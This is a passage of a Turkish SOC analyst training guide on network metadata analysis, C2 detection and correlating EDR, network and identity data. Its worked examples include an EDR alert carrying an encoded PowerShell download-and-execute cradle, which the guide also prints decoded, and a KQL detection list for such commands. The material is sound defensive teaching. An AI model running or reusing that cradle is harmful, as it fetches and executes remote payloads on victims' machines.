DNS Tunneling: Veri, DNS sorgusu içine gömülerek dışarı çıkarılır veya C2 iletişimi kurulur. Belirtileri: normalin çok üzerinde DNS sorgu boyutu, subdomain’lerin anormal uzunluğu, aynı base domain’e yüzlerce farklı subdomain sorgusu.

Olağandışı resolver kullanımı: İç resolver yerine dış resolver (8.8.8.8, 1.1.1.1 vb.) doğrudan kullanılması. Bu, DNS loglarının atlatılması için tercih edilebilir.

Nadir domain sorguları: Kurumda ilk kez görülen, yaşı birkaç günden kısa olan veya Tranco, Umbrella, Cloudflare Radar gibi güncel domain popularity kaynaklarında düşük görünürlüğe sahip domainler.

4.6 HTTP/HTTPS Analiziyle Web Trafiğini Değerlendirme

HTTP analizinde SOC analistinin dikkat etmesi gereken alanlar:

User-Agent: Meşru tarayıcıların user-agent stringleri iyi bilinir. Alışılmadık veya boş user-agent değerleri, özel araçlar veya script’ler olduğuna işaret edebilir. C2 araçları çoğu zaman sahte veya varsayılan user-agent kullanır.

URI ve query string: Uzun ve encode edilmiş query string’ler, özellikle Base64 içerenler, veri exfiltration veya C2 komut gönderimi olabilir.

Status code: 200 yanıtları her zaman zararsız değildir. 404 dönen yüzlerce URI isteği brute force veya scanner aktivitesi olabilir. 302 zinciri ile kullanıcı habersizce yönlendirilebilir.

Response size: Aynı URI’ye yapılan isteklerin yanıt boyutları aniden büyüyorsa veya beklenmedik miktarda veri dönüyorsa dikkat gerekir.

HTTPS analizinde payload görülemez; ancak klasik TLS trafiğinde SNI (Server Name Indication) alanı, sertifika detayları ve bağlantı metadata’sı analiz edilebilir. ECH kullanılan bağlantılarda SNI maskelenebilir; bu yüzden SNI’ın her zaman görünür olduğu varsayılmamalıdır.

4.7 Şifreli Trafikte Metadata ile Görünürlük Sağlama

TLS ile şifrelenmiş trafiğin içeriğini görmek TLS inspection uygulanmadığı sürece mümkün değildir. Ancak metadata hâlâ anlamlı bilgi taşır:

SNI: Klasik TLS trafiğinde hangi domain’e bağlanıldığını gösterebilir. Ancak ECH kullanılan bağlantılarda SNI maskelenebilir. SNI eksikliği tek başına tehdit kanıtı değildir; destination IP, certificate metadata, JA3/JA4 benzeri fingerprint, bağlantı frekansı, ASN ve endpoint bağlamıyla birlikte değerlendirilmelidir.

Sertifika bilgileri: Self-signed sertifika, sertifika yaşı, issuer bilgisi, sertifika subject alanları ve yeni domain + kısa sertifika geçerlilik süresi C2 altyapısı açısından araştırmaya değer sinyaller olabilir.

Bağlantı frekansı ve süresi: Düzenli aralıklarla kurulan, kısa ama sürekli olan bağlantılar beaconing’e işaret edebilir.

Zamanlama örüntüsü: İnsan kullanımı çoğunlukla mesai saatlerinde yoğunlaşır. Gece yarısı, hafta sonu veya tatil döneminde sürekli TLS bağlantıları otomatize bir C2 istemcisini akla getirebilir.

4.8 C2 İletişim Sinyallerini Ağ Üzerinden Fark Etme

Komuta Kontrol (C2) iletişiminin ağ üzerindeki örüntüsü, insan davranışından ziyade otomatize süreçlerin davranışına benzer. SOC analistinin fark etmesi gereken başlıca C2 sinyalleri:

Beaconing: Düzenli aralıklarla (30 saniyede bir, 5 dakikada bir vb.) aynı dış adrese küçük miktarda veri gönderimi. İnsan davranışı genellikle bu kadar düzenli aktivite üretmez.

Low and slow: Aynı dış hedefe çok az veri gönderilen, ama çok uzun süre devam eden bağlantı.

Nadir veya yeni domain kullanımı: Birkaç saatlik/günlük yaşa sahip domain, hiç görülmemiş TLD, kurumun iş süreçleriyle ilgisi olmayan domain.

Anormal dış bağlantı: Normalde dışarıya bağlantı kurmayan bir iç sistem aniden dış bağlantı kuruyorsa bu güçlü bir sinyaldir.

İpucu: C2 detection için yalnızca Suricata imzalarına güvenmek yeterli değildir. Suricata bilinen C2 araçlarını yakalayabilir; ancak özel yazılmış C2 veya HTTPS üzerinden meşru sunucu altyapısını kullanan araçlar imzayla yakalanamayabilir. Bu nedenle beaconing analizi, metadata incelemesi ve davranışsal anomali tespiti tamamlayıcıdır.

5. Endpoint, Network ve Identity Verilerini Birlikte Korele Etme

5.1 Tekil Alarmdan Olay Zincirine Geçme

Bir EDR alarmı geldiğinde analistin zihnindeki ilk soru “bu gerçek mi?” değil, “bu, daha büyük bir zincirin parçası mı?” olmalıdır. Tekil alarm yalnızca bir kapı açar; soruşturma o kapının ardına bakmaktır.

Genişletme mantığı şöyle işler:

EDR alarmı → hangi kullanıcı bağlamında? → kimlik logları

Bu kullanıcı aynı anda nerede? → authentication logları, VPN, MFA

Bu süreç ağa bağlandı mı? → network logları, Zeek

Bu bağlantı dış mı, iç mi? → firewall, proxy

Bu kullanıcı başka sistemlere erişti mi? → AD logları, RDP, SMB

Her adım yeni bir pivot noktası açar. Analist bu zinciri ne kadar uzatabilirse olayın kapsamını o kadar doğru değerlendirebilir.

5.2 User Pivot ile Kullanıcı Üzerinden Analiz Genişletme

Bir alarmın kullanıcı bilgisi mevcutsa, bu kullanıcı üzerinden analizi genişletmek en verimli başlangıç noktalarından biridir. Şu sorular kullanıcı pivot’unu yönlendirir:

Bu kullanıcı bu saatte sistemde olması bekleniyor mu?

Bu kullanıcının bu sisteme, uygulamaya veya veriye erişim yetkisi var mı?

Aynı kullanıcıya ait başka alarm veya olay var mı?

Kullanıcı son gün/hafta içinde farklı lokasyonlardan giriş yaptı mı?

Kullanıcının authentication geçmişinde MFA başarısızlığı veya unusual sign-in var mı?

Kimlik logları (Active Directory, Entra ID Sign-in, RADIUS, VPN auth) bu soruları yanıtlamak için kullanılır. Kullanıcı pivot’u, teknik bir anomalinin kişisel bir hesabı veya yetki kötüye kullanımını ne kadar temsil ettiğini ortaya koyar.

5.3 Host Pivot ile Sistem Üzerinden Analiz Genişletme

Alarmın geldiği host, kendi başına bağlam taşır. Host pivot için şu bilgiler toplanır:

Bu host kritik bir sunucu mu, domain controller mı, ortak kullanım makinesi mi?

Bu host normalde dışa açık mı, DMZ’de mi, iç ağda mı?

Bu host üzerinde başka alarm veya anormal aktivite var mı?

Bu host’un işletim sistemi, yazılım envanteri ve yaması güncel mi?

Bu host son 24 saatte başka sistemlere hangi bağlantıları kurdu?

Asset management sistemleri, EDR konsolu ve CMDB bu bilgilere ulaşmak için kullanılır. Aynı alarm kritik bir üretim sunucusunda mı yoksa geliştirici iş istasyonunda mı tetiklendi; bu fark eskalasyon kararını doğrudan etkiler.

5.4 Network Pivot ile Bağlantı Üzerinden Analiz Genişletme

Alarmda görülen bir IP veya domain, ağ pivot’unun başlangıç noktasıdır. Şu sorular yönlendirir:

Bu IP adresine kurumda başka sistemler bağlandı mı?

Bu domain daha önce kurumdan sorgulandı mı, ne zamandan beri?

Bu hedef IP’ye yalnızca bu host mu bağlandı, yoksa birden fazla sistem mi?

Bu bağlantıdaki veri transferi hacmi nedir?

Bu IP’nin reputation bilgisi nedir? ASN’i nedir?

Zeek conn.log, firewall logları ve proxy logları bu soruları yanıtlamak için birlikte kullanılır. Bir dış IP’ye yalnızca tek sistemden düzenli bağlantı yapılması ile onlarca sistemden eş zamanlı bağlantı yapılması, tamamen farklı senaryolara işaret eder.

5.5 Process Pivot ile Süreç Davranışlarını Karşılaştırma

Şüpheli bir process veya komut satırı örüntüsü tek bir makinede görüldüğünde ilk soru şudur: “Bu davranış ortamın başka yerlerinde de görülüyor mu?” Eğer aynı process aynı komut satırıyla onlarca makinede çalışıyorsa, ağ genelinde bir yayılımdan söz edilebilir.

SIEM veya EDR üzerinde aynı process_name + command_line kombinasyonunun hangi hostlarda görüldüğünü sorgulayan bir araştırma, lateral movement veya worm benzeri yayılım davranışını erken ortaya çıkarabilir.

5.6 Timeline Oluşturarak Olayın Hikâyesini Çıkarma

Endpoint, network ve identity olaylarının zaman çizelgesine yerleştirilmesi, soruşturmayı anlatıya dönüştürür. Bu anlatı hem IR ekibine temiz devir için hem de yönetim raporlaması için temel oluşturur.

Zaman	Olay	Kaynak	Anlam
14:17	winword.exe başlatıldı	EDR	Kullanıcı belge açtı
14:18	powershell.exe -EncodedCommand başlatıldı	Sysmon	Macro tetikledi
14:18	Dış IP’ye port 443 bağlantısı	Zeek conn.log	C2 iletişimi başladı
14:20	LSASS process’e erişim	EDR	Kimlik bilgisi alma girişimi
14:25	Yeni servis oluşturuldu	Windows System Event ID 7045 / Sysmon	Persistence girişimi
14:30	Uzak masaüstü oturumu açıldı	AD logları	Lateral movement başladı

Bu tablo ham alarm yerine okunabilir bir olay zinciri sunar. Analist, “bu gerçek bir saldırı mı?” sorusunu artık kanıta dayalı şekilde yanıtlayabilir.

Güvenli Alışkanlık: Timeline’ı tüm kanıtlar toplanmadan kapatmayın. Belirsiz kalan zaman dilimleri için “log eksik” veya “bu aralığa ait kayıt yok” notunu açıkça timeline’a ekleyin. IR ekibine aktarım sırasında bu eksiklikler önemli bilgi taşır.

Komut & Araç Okuryazarlığı

Örnek 1 — EDR Alert’te Process Tree Okuma

Komut :

Alert: Suspicious PowerShell Execution
Severity: High | Confidence: Medium

Process Tree:
  explorer.exe (PID: 4120, user: testuser)
  └─ winword.exe (PID: 6340, cmd: "WINWORD.EXE /n C:\Users\testuser\Downloads\invoice.docm")
     └─ powershell.exe (PID: 7892, cmd: "powershell.exe -nop -w hidden -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADMALgA1LgA3AC4AMgA0ADMALwBwAGEAeQBsAG8AYQBkACcAKQ==")
        └─ cmd.exe (PID: 8104, cmd: "cmd.exe /c whoami")
           └─ net.exe (PID: 8230, cmd: "net user /domain")

Platform : EDR Konsolu (genel EDR process tree görünümü)

Amaç: Word belgesi kaynaklı şüpheli PowerShell aktivitesini ve ardından gelen keşif (Discovery) komutlarını Parent-Child (Ebeveyn-Çocuk) süreç zinciri, kullanıcı bağlamı ve yürütme sırası üzerinden değerlendirmektir.

Beklenen çıktı :

EDR Console - Process Tree Analysis

Alert: Suspicious PowerShell Execution Severity: High | Confidence: Medium Process Tree: explorer.exe (PID: 4120, user: testuser) └─ winword.exe (PID: 6340, cmd: "WINWORD.EXE /n C:\Users\testuser\Downloads\invoice.docm") └─ powershell.exe (PID: 7892, cmd: "powershell.exe -nop -w hidden -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADMALgA1LgA3AC4AMgA0ADMALwBwAGEAeQBsAG8AYQBkACcAKQ==") └─ cmd.exe (PID: 8104, cmd: "cmd.exe /c whoami") └─ net.exe (PID: 8230, cmd: "net user /domain") # --- EDR ANALİZ VE TESPİT NOTLARI --- # [!] Initial Access: Kullanıcı "invoice.docm" isimli makro içeren bir belge açmıştır. # [!] Execution & Defense Evasion: WinWord süreci, gizli (-w hidden) bir PowerShell başlatmıştır. # Base64 kodun çözümü: IEX(New-Object System.Net.WebClient).DownloadString('http://193.5.7.243/payload') # Bu bir "Fileless" (Dosyasız) zararlı yazılım indirme ve yürütme taktiğidir. # [!] Discovery: Zararlı kod, payload'u çalıştırdıktan sonra "whoami" ve "net user /domain" komutlarıyla sistem ve domain yapısı hakkında keşif (Reconnaissance) yapmaktadır.

Dikkat edilecek noktalar :

Parent process olarak winword.exe: Macro kaynaklı tetiklenme işareti olabilir.
-nop -w hidden -EncodedCommand: Şüpheli PowerShell argümanları; gizli pencere, profil yükleme devre dışı, encode edilmiş komut.
Encode edilmiş komut Base64 çözüldüğünde web’den payload indirme komutu çıkıyor olabilir.
Ardından gelen whoami ve net user /domain: Keşif aşamasına işaret edebilir.

Normal durum: winword.exe → powershell.exe zinciri kurumsal ortamlarda nadir görülür ve yüksek öncelikli incelenmelidir. Normal çalışma çoğunlukla winword.exe altında belge açma, yazdırma veya kaydetme işlemleriyle sınırlı olur.

Şüpheli durum: Makro kaynaklı PowerShell → encode edilmiş komut → dış adrese bağlantı → keşif komutları zinciri, makro üzerinden başlayan payload indirme ve post-exploitation keşif akışını gösterebilir.

Yanlış yapılandırma / veri kalitesi problemi: Bazı EDR’lar command line alanını tam kaydetmeyebilir. Command line boş veya kısmi geliyorsa, EDR telemetri ayarlarında “full command line logging” seçeneği ve ilgili veri toplama politikası kontrol edilmelidir.

Yorum: Bu alarmın false positive olma ihtimali düşüktür; ancak makro, eklenti, otomasyon veya kurumsal script istisnaları dışlanmadan doğrudan kesin zararlı kararı verilmemelidir. Kullanıcının IT yöneticisi olup olmadığı ve belgenin kurumsal iş akışıyla ilgisi sorgulanmalıdır.

Örnek 2 — Zeek DNS Log’undan DGA Tespiti

Komut :

                        #fields ts  uid  id.orig_h        id.resp_h    query                           qtype_name  answers      rcode_name
1710501600  C3kJ  192.0.2.45      198.51.100.1  xkg8rp2mva4l.example.net        A           -            NXDOMAIN
1710501602  C7mP  192.0.2.45      198.51.100.1  q7vn3xp1w9a.example.net         A           -            NXDOMAIN
1710501604  C1bQ  192.0.2.45      198.51.100.1  m4kz8ywu6r2.example.net         A           -            NXDOMAIN
1710501606  C9rL  192.0.2.45      198.51.100.1  p2hj5xvb3n1.example.net         A           -            NXDOMAIN

Platform: Zeek dns.log

Amaç: Aynı host’tan 2 saniye aralıklarla NXDOMAIN dönen yüksek entropy domain sorgularını (DGA tespiti) değerlendirmektir.

Beklenen çıktı:

Zeek Network Security Monitor - dns.log Audit

#fields ts uid id.orig_h id.resp_h query qtype_name answers rcode_name 1710501600 C3kJ 192.0.2.45 198.51.100.1 xkg8rp2mva4l.example.net A - NXDOMAIN 1710501602 C7mP 192.0.2.45 198.51.100.1 q7vn3xp1w9a.example.net A - NXDOMAIN 1710501604 C1bQ 192.0.2.45 198.51.100.1 m4kz8ywu6r2.example.net A - NXDOMAIN 1710501606 C9rL 192.0.2.45 198.51.100.1 p2hj5xvb3n1.example.net A - NXDOMAIN # --- ZEEK DNS ANALİZ VE DGA TESPİT NOTLARI --- # [!] Anomali: 192.0.2.45 IP adresi, tam 2 saniye aralıklarla (ts: 600, 602, 604, 606) # otomatize edilmiş DNS sorguları yapmaktadır (Beaconing / C2 Search). # [!] Yüksek Entropi: Sorgulanan alt alan adları (örn: xkg8rp2mva4l) anlamsızdır ve # Domain Generation Algorithm (DGA) kullanılarak üretildiği açıktır. # [!] Hata Kodu: Sürekli "NXDOMAIN" (Non-Existent Domain) dönmesi, zararlının henüz # aktifleşmiş bir Command & Control (C2) sunucusu bulamadığını gösterir.

Dikkat edilecek noktalar:

Aynı kaynak IP’den 2 saniye aralıklarla sorgular: otomasyon işareti.
Domain adlarının görünümü: rastgele karakter dizisi, okunabilir kelime yok → yüksek entropy.
Tüm sorguların NXDOMAIN dönmesi: DGA tarafından üretilen domain’lerin henüz kayıtlı/aktif olmaması veya çözümlenememesiyle uyumlu olabilir. Sinkhole senaryosunda ise ortamın yapılandırmasına bağlı olarak NXDOMAIN yerine kontrollü bir sinkhole IP’si de dönebilir.

Normal durum: Meşru DNS sorguları çoğunlukla okunabilir domain adları içerir, aralıklar daha düzensizdir ve yanıtlar çoğunlukla geçerli A/AAAA/CNAME kayıtları döner.

Şüpheli durum: Aynı host’tan saniyeler içinde onlarca NXDOMAIN dönen, yüksek entropy’li, rastgele görünen domain sorguları → DGA davranışı.

Yanlış yapılandırma / veri kalitesi problemi: Zeek DNS log’ları, sensörün görebildiği DNS trafiğini yakalar. İç sunucu DNS yanıtlarını doğrudan veriyorsa ve Zeek sensörü iç resolver’ın önüne veya uygun ağ noktasına konumlanmamışsa, bu sorgular Zeek’e hiç ulaşmayabilir.

Yorum: Bu log DGA aktivitesini güçlü şekilde gösterebilir. Sonraki adım: 192.0.2.45 hostunu EDR’da araştır, bu DNS sorgularını hangi process’in ürettiğini belirle, hostname’i varlık envanteriyle karşılaştır.

Örnek 3 — KQL ile EDR Verisi Üzerinde Şüpheli Process Sorgulama

Komut :

DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName =~ "powershell.exe"
| where InitiatingProcessFileName has_any ("winword.exe", "excel.exe", "outlook.exe", "mshta.exe")
| where ProcessCommandLine has_any ("-EncodedCommand", "-enc", "-e ", "IEX", "Invoke-Expression", "FromBase64")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc

Platform: Microsoft Defender XDR Advanced Hunting / Microsoft Sentinel’e aktarılmış Defender for Endpoint tabloları — KQL

Amaç: Son 24 saatte Office uygulamalarından veya mshta.exe gibi dikkat gerektiren parent process'lerden (ebeveyn süreç) başlayan ve encode edilmiş/obfuscated komut içeren şüpheli PowerShell yürütmelerini (Execution) tespit etmektir.

Beklenen çıktı:

Microsoft Defender XDR - Advanced Hunting (KQL)

DeviceProcessEvents | where Timestamp > ago(24h) | where FileName =~ "powershell.exe" | where InitiatingProcessFileName has_any ("winword.exe", "excel.exe", "outlook.exe", "mshta.exe") | where ProcessCommandLine has_any ("-EncodedCommand", "-enc", "-e ", "IEX", "Invoke-Expression", "FromBase64") | project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine | order by Timestamp desc // --- TEHDİT AVI (THREAT HUNTING) ANALİZ NOTLARI --- // [!] Taktik ve Teknikler: Initial Access (T1566) -> Execution (T1059.001) -> Defense Evasion (T1027). // [!] Parent Process Anomalisi: WinWord, Excel veya Outlook'un doğrudan PowerShell // çağırması, genellikle zararlı bir makronun (VBA) veya OLE/DDE istismarının sonucudur. // [!] Gizleme (Obfuscation): Saldırganlar, payload'u Antivirüs/EDR statik imzalarından // kaçırmak için Base64 encoding (-EncodedCommand) veya bellek içi yürütme (IEX) kullanır.

Dikkat edilecek noktalar:

InitiatingProcessFileName: Office uygulaması veya şüpheli parent process kaynaklı tetiklenme.
ProcessCommandLine: Encode edilmiş veya IEX içeren komutlar.
DeviceName ve AccountName: Hangi kullanıcı, hangi cihazda?

Normal durum: Bu sorgu sıfır veya çok az sonuç dönmelidir. Meşru iş süreçlerinde Office’ten PowerShell’e geçiş nadir görülür.

Şüpheli durum: Herhangi bir sonuç incelenmeyi hak eder. Birden fazla cihazda aynı örüntü görülüyorsa acil eskalasyon gerektirebilir.

Yanlış yapılandırma / veri kalitesi problemi: Tablo boş dönüyorsa EDR agent aktif olmayabilir, Defender for Endpoint entegrasyonu çalışmıyor olabilir veya telemetri SIEM’e ulaşmıyor olabilir. DeviceProcessEvents tablosunu besleyen entegrasyon kontrol edilmelidir.

Yorum: Bu sorgu detection kuralına dönüştürülebilir. Alert olarak kurgulandığında her yeni eşleşen olay alarm üretebilir. Production’a alınmadan önce kurumun normal Office/PowerShell otomasyonlarıyla karşılaştırılarak tuning yapılmalıdır.

Örnek 4 — Suricata EVE JSON Alert Çıktısı Okuma

Komut:

{
  "timestamp": "2024-03-15T14:18:43.221+0000",
  "event_type": "alert",
  "src_ip": "192.0.2.45",
  "src_port": 52341,
  "dest_ip": "203.0.113.17",
  "dest_port": 443,
  "proto": "TCP",
  "alert": {
    "action": "allowed",
    "gid": 1,
    "signature_id": 2027865,
    "rev": 4,
    "signature": "ET TROJAN Possible Cobalt Strike Beacon Activity",
    "category": "A Network Trojan was Detected",
    "severity": 1
  },
  "app_proto": "tls",
  "flow": {
    "pkts_toserver": 12,
    "pkts_toclient": 10,
    "bytes_toserver": 1240,
    "bytes_toclient": 980
  }
}

Platform: Suricata IDS — EVE JSON çıktısı

Amaç: Dış adrese (203.0.113.17) şifreli TLS protokolü üzerinden yapılan bağlantıyı Suricata alert formatında değerlendirmek ve Cobalt Strike beacon şüphesine ait kaynak-hedef, severity (önem derecesi) ve ağ istatistiklerini kanıtlarıyla saptamaktır.

Beklenen çıktı:

Suricata IDS - EVE JSON Alert Audit

{ "timestamp": "2024-03-15T14:18:43.221+0000", "event_type": "alert", "src_ip": "192.0.2.45", "src_port": 52341, "dest_ip": "203.0.113.17", "dest_port": 443, "proto": "TCP", "alert": { "action": "allowed", "gid": 1, "signature_id": 2027865, "rev": 4, "signature": "ET TROJAN Possible Cobalt Strike Beacon Activity", "category": "A Network Trojan was Detected", "severity": 1 }, "app_proto": "tls", "flow": { "pkts_toserver": 12, "pkts_toclient": 10, "bytes_toserver": 1240, "bytes_toclient": 980 } } # --- SURICATA IDS ANALİZ VE TESPİT NOTLARI --- # [!] Tehdit Tipi: Cobalt Strike Beacon (C2 - Command & Control) şüphesi. (Severity: 1 - Kritik Risk) # [!] Ağ Trafiği: İletişim 443 (TLS/HTTPS) üzerinden şifrelenmiş (app_proto: tls) olarak gerçekleşmektedir. # [!] Flow (Akış) Analizi: 1240 byte giden, 980 byte gelen veri hacmi. Bu son derece düşük # paket boyutu, zararlı yazılımın C2 sunucusuna "Ben buradayım, yeni komut var mı?" diye # sorduğu rutin bir "Beaconing" (kalp atışı/yoklama) aktivitesini gösterir. # [!] Durum: "action": "allowed" olması, trafiğin güvenlik duvarı tarafından engellenmediğini # ve dış adrese bağlantının başarılı bir şekilde kurulduğunu kanıtlar.

Dikkat edilecek noktalar:

signature: İmza adı. “ET TROJAN Possible Cobalt Strike Beacon Activity” yüksek öncelikli incelenmelidir.
severity: 1 — yüksek öncelik gösterebilir; ancak rule set mantığıyla birlikte değerlendirilmelidir.
action: allowed — trafik engellenmemiş; IDS modunda veya inline/drop uygulanmayan bir yapılandırma olabilir.
dest_ip: 203.0.113.17 — dış adres. Reputation, ASN ve kurum geçmişi sorgulanmalı.
bytes_toserver / bytes_toclient: Küçük ve dengeli veri miktarı, C2 beacon davranışıyla uyumlu olabilir.

Normal durum: Bu imza meşru trafikte nadiren tetiklenebilir; ancak “possible” ibaresi nedeniyle tek başına kesin compromise kabul edilmemelidir.

Şüpheli durum: Aynı kaynak IP’den düzenli aralıklarla aynı imzanın tetiklenmesi — beaconing örüntüsü.

Yanlış yapılandırma / veri kalitesi problemi: Eğer action: drop bekleniyorken allowed görünüyorsa, Suricata IPS modunda yapılandırılmamış veya inline modda çalışmıyor olabilir.

Yorum: Bu alarm yüksek öncelikli incelenmelidir. Ancak imza tabanlı tespitin doğası nedeniyle EDR process tree, Zeek conn.log, DNS/TLS metadata, hedef IP reputation ve tekrar eden beaconing davranışıyla doğrulanmalıdır. Suricata alarm tetiklendiği zaman (14:18) ile EDR’daki PowerShell çalıştırma zamanı (14:18) örtüşüyorsa zincir güçlenir.

Örnek 5 — SPL ile Ağ Bağlantısı Analizi

Komut:

index=network sourcetype=zeek_conn id.orig_h="10.10.20.45"
| rename id.orig_h as src_ip, id.resp_h as dest_ip, id.resp_p as dest_port
| where NOT cidrmatch("10.0.0.0/8", dest_ip)
  AND NOT cidrmatch("172.16.0.0/12", dest_ip)
  AND NOT cidrmatch("192.168.0.0/16", dest_ip)
| bin _time span=5m
| stats count as connection_count,
        sum(orig_bytes) as total_out,
        sum(resp_bytes) as total_in
  by _time, dest_ip, dest_port
| where connection_count > 5
| sort - connection_count

Platform : Splunk — Zeek conn.log üzerinden

Amaç: Belirli bir iç IP’den, 5 dakikalık pencerede, dış adreslere yapılan ve 5’ten fazla bağlantı içeren network davranışlarını bulmak.
Bu örnekte 10.10.20.45 iç ağdaki örnek host olarak kullanılmıştır. 192.0.2.0/24, 198.51.100.0/24 ve 203.0.113.0/24 gibi TEST-NET adresleri yalnızca dokümantasyon amaçlıdır; gerçek iç ağ varsayımıyla kullanılmamalıdır.

Belirli bir iç ağ IP adresinden (10.10.20.45) dış internet adreslerine doğru gerçekleşen, 5 dakikalık periyotlarda yoğunlaşan ve muhtemel veri sızdırma veya komuta kontrol (C2) iletişimini barındıran şüpheli ağ davranışlarını Splunk (SPL) kullanarak tespit etmektir.

Beklenen çıktı:

Splunk Enterprise - Search & Reporting [Network Analysis]

search > index=network sourcetype=zeek_conn id.orig_h="10.10.20.45" | rename id.orig_h as src_ip, id.resp_h as dest_ip, id.resp_p as dest_port | where NOT cidrmatch("10.0.0.0/8", dest_ip) AND NOT cidrmatch("172.16.0.0/12", dest_ip) AND NOT cidrmatch("192.168.0.0/16", dest_ip) | bin _time span=5m | stats count as connection_count, sum(orig_bytes) as total_out, sum(resp_bytes) as total_in by _time, dest_ip, dest_port | where connection_count > 5 | sort - connection_count [100% Complete] - 2 Results matched

_time dest_ip dest_port connection_count total_out total_in 2026-05-13 14:00:00 203.0.113.88 443 42 15400000 24500 2026-05-13 14:05:00 203.0.113.88 443 38 14800000 18200 # --- SPLUNK ANALİZ VE TESPİT NOTLARI --- # [!] Egress (Dışarı Çıkan) Trafik Tespiti: cidrmatch filtreleri kullanılarak iç ağdan # iç ağa olan (RFC 1918) iletişim elenmiş, sadece internete çıkan şüpheli trafik hedeflenmiştir. # [!] Beaconing Şüphesi: "bin _time span=5m" komutuyla 5 dakikalık pencerelerde periyodik # olarak tekrarlayan (count > 5) bağlantılar saptanmıştır. Bu, Command & Control (C2) # sunucusuyla otomatik bir haberleşme ritmine (Heartbeat) işaret eder. # [!] Veri Sızdırma (Data Exfiltration): Çıktı tablosundaki "total_out" (giden byte) # miktarının, "total_in" (gelen byte) miktarından devasa oranda yüksek olması, dışarıya # yetkisiz dosya veya veri transferi (Exfiltration) yapıldığının en net kanıtıdır.

Dikkat edilecek noktalar:

Aynı 5 dakika içinde aynı dest_ip’ye yüksek connection_count: beaconing olabilir.
total_out > total_in: Veri gönderiminin arttığını gösterebilir; exfiltration şüphesi için bağlamla birlikte değerlendirilmelidir.
Port 443 dışında beklenmedik portlar: C2 kanal konfigürasyonu olabilir.

Normal durum: Dış bağlantılar düzensiz aralıklarla, farklı IP’lere ve farklı boyutlarda gerçekleşir.

Şüpheli durum: Aynı dış IP’ye, 5 dakikada 20-30 bağlantı, küçük ve dengeli veri transferi → beaconing.

Yanlış yapılandırma / veri kalitesi problemi: Bu örnekte src_ip, dest_ip, bytes_in, bytes_out alanlarının SIEM tarafından normalize edildiği varsayılmıştır. Native Zeek conn.log kullanılıyorsa karşılıklar id.orig_h, id.resp_h, orig_bytes, resp_bytes gibi alanlar olabilir. SIEM mapping doğrulanmadan sorgu production kuralına dönüştürülmemelidir.

Uygulama / Kontrol Listesi

EDR Alarmı Triajı ve Çok Kaynaklı Soruşturma Kontrol Listesi

I. Hazırlık Aşaması

EDR Erişimi: Konsol bağlantısı sağlandı ve ilgili alarm detaylandırıldı.
SIEM Kontrolü: Log erişimi aktif; alarm tetikleme zamanı (Timestamp) not edildi.
Varlık Envanteri: CMDB veya Asset Management üzerinden cihaz bilgileri sorgulanabilir durumda.
Kimlik Yönetimi: AD veya Entra ID (Azure AD) sorgulama yetkileri aktif.
Ağ Trafiği: Zeek, firewall veya network loglarına erişim teyit edildi.

II. Kontrol ve Analiz Adımları

1. Alarm Detaylarının İncelenmesi

Alarm adı, önem derecesi (severity) ve doğruluk (confidence) değerlerini analiz et.
Alarm zamanını UTC formatında kaydet.
Etkilenen hostname (makine adı) ve kullanıcı adını (username) belirle.
Veri kaynağını tespit et (EDR behavioral, signature, network veya XDR correlation).

2. Endpoint (Uç Nokta) Bağlamı

Süreç Ağacı: Process tree üzerinden hiyerarşiyi incele.
Üst Süreç: Parent process beklenen veya güvenilir bir dizinde mi?
Komut Satırı: -EncodedCommand, -nop, IEX gibi obfuscation (gizleme) tekniklerini ara.
Çalışma Dizini: Working directory dosyanın doğasına uygun mu?
Ağ Bağlantısı: İlgili süreç dış dünyaya bir bağlantı açmış mı?

3. Varlık ve Kullanıcı Bağlamı

Kritiklik: Sistem bir DC, SQL sunucusu veya finansal bir birim mi?
Anomali: Kullanıcı bu saatte bu sistemde aktif mi? Yetki seviyesi (Admin/User) işlemi doğruluyor mu?
Geçmiş Alarmlar: Son 48 saat içinde aynı kullanıcı veya endpoint üzerinde başka uyarı var mı?
Kimlik Riskleri: Başarısız MFA denemeleri veya şüpheli lokasyon girişlerini kontrol et.

4. Network (Ağ) Bağlamı

IP Reputation: Dış bağlantı kurulan IP adresi Threat Intel listelerinde yer alıyor mu?
Yayılım: Aynı dış IP'ye ağdaki diğer sistemlerden bağlantı var mı?
Beaconing: Bağlantı düzenli aralıklarla mı (C2 sinyali gibi) yapılıyor?

5. Zaman Çizelgesi (Timeline) Oluşturma

Alarm tetiklenmeden 15 dakika öncesindeki tüm endpoint hareketlerini listele.
Alarm sonrası aktivitenin devam edip etmediğini kontrol et.
Network trafiği ile proses hareketlerinin zaman bazlı örtüşmesini onayla.

III. Doğrulama ve Karar

True Positive (Gerçek Pozitif) Kriterleri

Meşrulaştırılamayan parent-child ilişkisi.
Encode edilmiş/gizlenmiş komut kullanımı.
Keşif (reconnaissance) komutları veya anormal dış bağlantılar.

False Positive (Yanlış Pozitif) İhtimalleri

IT yöneticisi tarafından yapılan bakım çalışmaları.
Resmi yazılım güncellemeleri veya onaylı script otomasyonları.
Benign Expected Activity: Kurum içi "izinli ancak şüpheli görünen" davranışların taksonomiye göre sınıflandırılması.

IV. Kanıt Notu

Şu bilgileri vaka kaydına ekle:

Alarm ID, EDR konsol linki, zaman (UTC)
Etkilenen hostname ve kullanıcı
Process tree’nin metin veya ekran görüntüsü özeti
Komut satırı tam metni
Dış bağlantı bilgisi (IP, port, zaman)
Kullanıcı kimlik log özeti
Timeline (kısa versiyon)

Geri Dönüş / Dikkat Edilmesi Gerekenler

Varlık kritikliği yüksekse ve kanıt toplanmadan önce containment uygulanırsa forensic iz kaybı yaşanabilir. Containment öncesi mevcut kanıtı belgele.
